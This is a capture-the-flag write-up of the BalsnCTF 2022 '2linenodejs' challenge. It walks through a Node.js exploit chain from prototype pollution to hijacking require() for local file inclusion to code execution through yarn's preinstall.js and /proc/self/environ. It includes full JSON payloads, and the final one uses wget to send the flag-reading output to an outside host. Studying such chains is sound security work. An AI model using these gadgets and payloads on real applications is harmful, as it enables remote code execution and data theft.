BalsnCTF 2022 took place over the weekend and featured an awesome web challenge titled “2linenodejs”, which I solved with some teammates. Our solution uses a pretty cool exploit chain of prototype pollution & local file inclusion. Prototype pollution is an incredibly fun vulnerability, and this challenge really opened my eyes to the possibilities of what can be achieved.
Challenge Description
Sorry for my bad coding style :(
http://2linenodejs.balsnctf.com
Author: ginoah
Overview
The vulnerable application is a simple JSON parser which takes a user supplied JSON object and parses it before displaying to the user.
The entirety of the application’s source code is contained within the following three small files:
//index.js
module.exports=(O,o) => (Object.entries(O).forEach(([K,V])=>Object.entries(V).forEach(([k,v])=>(o[K]=o[K]||{},o[K][k]=v))), o);
//server.js
#!/usr/local/bin/node
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch{
require('./usage')
}finally{
process.exit();
}
});
//usage.js
console.log('Validate your JSON with <a href="/?{}">query</a>');
Also of note, a Dockerfile is provided for local debugging:
from node:18.8.0-alpine3.16
MAINTAINER ginoah
RUN apk add gcc musl-dev socat
COPY ./readflag.c /readflag.c
COPY flag /flag
RUN chmod 0400 /flag && chown root:root /flag
RUN chmod 0444 /readflag.c && gcc /readflag.c -o /readflag
RUN chown root:root /readflag && chmod 4555 /readflag
WORKDIR /app
COPY ./src/server.js ./
COPY ./src/index.js ./
COPY ./src/usage.js ./
USER nobody
CMD ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:'./server.js'"]
As the source code is so small, it is very easy to analyze. When the server receives a request, it attempts to parse the entire query string as JSON. After doing so, it calls the index.js
function on the parsed object and an empty object, which merges the two objects. This is a very obvious prototype pollution vulnerability which does not need any further explanation. Lastly, the parsed JSON and merged object are displayed to the user.
If any of the above functions error, usage.js
is require()
‘d, which will display the intended usage to the user.
Arbitrary Local File Inclusion
Forcing An Error
It is immediately clear that the goal is to find a prototype pollution gadget which can achieve RCE when the rest of the code runs. Initially, my brain was not functioning properly and I began to look for gadgets within console.log()
and process.exit()
before my teammate pointed out that we could reach the require()
after prototype pollution if we can get console.log()
to error, as it is not evaluated until after the index.js
function.
To do so, we can include a format specifier in the JSON, and pollute the toString()
method, like so:
{
"%d": 1,
"__proto__": {
"toString": null
}
}
Providing the above payload to our local debugging instance confirms that we can reach the catch block.
Hijacking The Require For Local File Inclusion
The real fun begins after achieving both prototype pollution prior and a require()
.
Some great gadgets and ideas are showcased in the Silent Spring: Prototype Pollution Leads to Remote Code Execution in Node.js
research paper. One of which involves loading arbitrary local files when a relative path is require()
‘d:
// Example from research paper linked above
let rootProto = Object.prototype;
rootProto["exports"] = {".":"./changelog.js"};
rootProto["1"] = "/path/to/npm/scripts/";
// trigger call
require("./target.js");
However, this gadget does not seem to work for us. We instead found an additional but similar prototype pollution gadget that will achieve the same result. The function we are targeting is found here:
function trySelf(parentPath, request) {
if (!parentPath) return false;
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
if (!pkg || pkg.exports === undefined) return false;
if (typeof pkg.name !== 'string') return false;
let expansion;
if (request === pkg.name) {
expansion = '.';
} else if (StringPrototypeStartsWith(request, `${pkg.name}/`)) {
expansion = '.' + StringPrototypeSlice(request, pkg.name.length);
} else {
return false;
}
try {
return finalizeEsmResolution(packageExportsResolve(
pathToFileURL(pkgPath + '/package.json'), expansion, pkg,
pathToFileURL(parentPath), cjsConditions), parentPath, pkgPath);
} catch (e) {
if (e.code === 'ERR_MODULE_NOT_FOUND')
throw createEsmNotFoundErr(request, pkgPath + '/package.json');
throw e;
}
}
If we pollute data
and path
, we will have control over pkg
and pkgPath
respectively.
After some tweaking of the above example, we are able to control the file path to be loaded.
We confirm /etc/passwd
is loaded by the given error message displaying the first line of the file:
We then combine the LFI gadget with our earlier payload to achieve LFI on the server. In the below screenshot, we see no output, which indicates that ./usage.js
was not require()
‘d, meaning that we successfully modified the path:
For easier viewing, the current payload is as follows:
{
"%d": 1,
"__proto__": {
"toString": null,
"data": {
"name": "./usage",
"exports": {
".": "./passwd"
}
},
"path": "/etc"
}
}
Locating A Gadget
With prototype pollution and LFI achieved, the next step is to locate a local file which can be abused to gain remote code execution. No external modules are installed, so the search begins in the /usr/local/lib/node_modules/
directory, which includes 877 .js
files. After spending some time grepping through for child_process
calls, I was unable to locate any useful gadgets.
In an act of desperation, I searched for .js
files accross the entire system, which showed 4 additional files in /opt/yarn-v1.22.19/
.
$ find / -iname *.js 2>/dev/null | grep -v node_modules
/opt/yarn-v1.22.19/lib/cli.js
/opt/yarn-v1.22.19/lib/v8-compile-cache.js
/opt/yarn-v1.22.19/bin/yarn.js
/opt/yarn-v1.22.19/preinstall.js
/app/usage.js
/app/index.js
/app/server.js
/opt/yarn-v1.22.19/preinstall.js
turned out to be incredibly promising. The complete file contents are as follows:
// This file is a bit weird, so let me explain with some context: we're working
// to implement a tool called "Corepack" in Node. This tool will allow us to
// provide a Yarn shim to everyone using Node, meaning that they won't need to
// run `npm install -g yarn`.
//
// Still, we don't want to break the experience of people that already use `npm
// install -g yarn`! And one annoying thing with npm is that they install their
// binaries directly inside the Node bin/ folder. And Because of this, they
// refuse to overwrite binaries when they detect they don't belong to npm. Which
// means that, since the "yarn" Corepack symlink belongs to Corepack and not npm,
// running `npm install -g yarn` would crash by refusing to override the binary :/
//
// And thus we have this preinstall script, which checks whether Yarn is being
// installed as a global binary, and remove the existing symlink if it detects
// it belongs to Corepack. Since preinstall scripts run, in npm, before the global
// symlink is created, we bypass this way the ownership check.
//
// More info:
// https://github.com/arcanis/pmm/issues/6
if (process.env.npm_config_global) {
var cp = require('child_process');
var fs = require('fs');
var path = require('path');
try {
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');
var manifest = require('./package.json');
var binNames = typeof manifest.bin === 'string'
? [manifest.name.replace(/^@[^\/]+\//, '')]
: typeof manifest.bin === 'object' && manifest.bin !== null
? Object.keys(manifest.bin)
: [];
binNames.forEach(function (binName) {
var binPath = path.join(targetPath, binName);
var binTarget;
try {
binTarget = fs.readlinkSync(binPath);
} catch (err) {
return;
}
if (binTarget.startsWith('../lib/node_modules/corepack/')) {
try {
fs.unlinkSync(binPath);
} catch (err) {
return;
}
}
});
} catch (err) {
// ignore errors
}
}
There are two very promising variables here, process.env.npm_config_global
, and process.env.npm_execpath
.
Polluting npm_config_global
will cause the conditional statement to pass, which allows us to reach the execFileSync()
call.
Our gadget is here:
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');
We are unable to control process.execPath
, as it will always be the path of the node executable (/usr/local/bin/node
in this case). However, we do have control over the first argument via the process.env.npm_execpath
variable. The resulting command will look like /usr/local/bin/node <OUR_INPUT> bin -g
.
With control over the first argument, we can load any file on the system. We could already do this before, but this time it is within an execFileSync()
call, meaning we can additionally pollute the environment. With a polluted environment, we can load /proc/self/environ
to execute arbitrary code.
We can verify this works with the following, which will cause a 10 second sleep in the execution:
({}).__proto__.npm_config_global = 1
({}).__proto__.npm_execpath = "/proc/self/environ"
({}).__proto__.env = {"AAA": "require('child_process').execSync('sleep 10');//"}
require('/opt/yarn-v1.22.19/preinstall.js')
Finishing Up
Putting everything together, we achieve the following payload:
(note: I’m not sure why yet, but toString
needs to be at the end or else it doesn’t work properly)
{
"%d": 1,
"__proto__": {
"data": {
"name": "./usage",
"exports": {
".": "./preinstall.js"
}
},
"path": "/opt/yarn-v1.22.19",
"npm_config_global": 1,
"npm_execpath": "--require=/proc/self/environ",
"env": {
"AAA": "require('child_process').execSync('wget$IFS\"\"http://downgrade.ml:4444/$IFS\"\"-U$IFS\"\"`/readflag`');//"
}
},
"toString": null
}
After sending the final payload to the server, we receive the flag.
We used prototype pollution to achieve LFI, which then used more prototype pollution to achieve another LFI, which used prototype pollution again for RCE. This was a really cool chain which showcases the extremely high impact prototype pollution can have. I think there is still a ton of room for research into the subject, and am looking forward to seeing what the future holds for prototype pollution. Also, this challenge gave me some very fun ideas for the next idekCTF :^)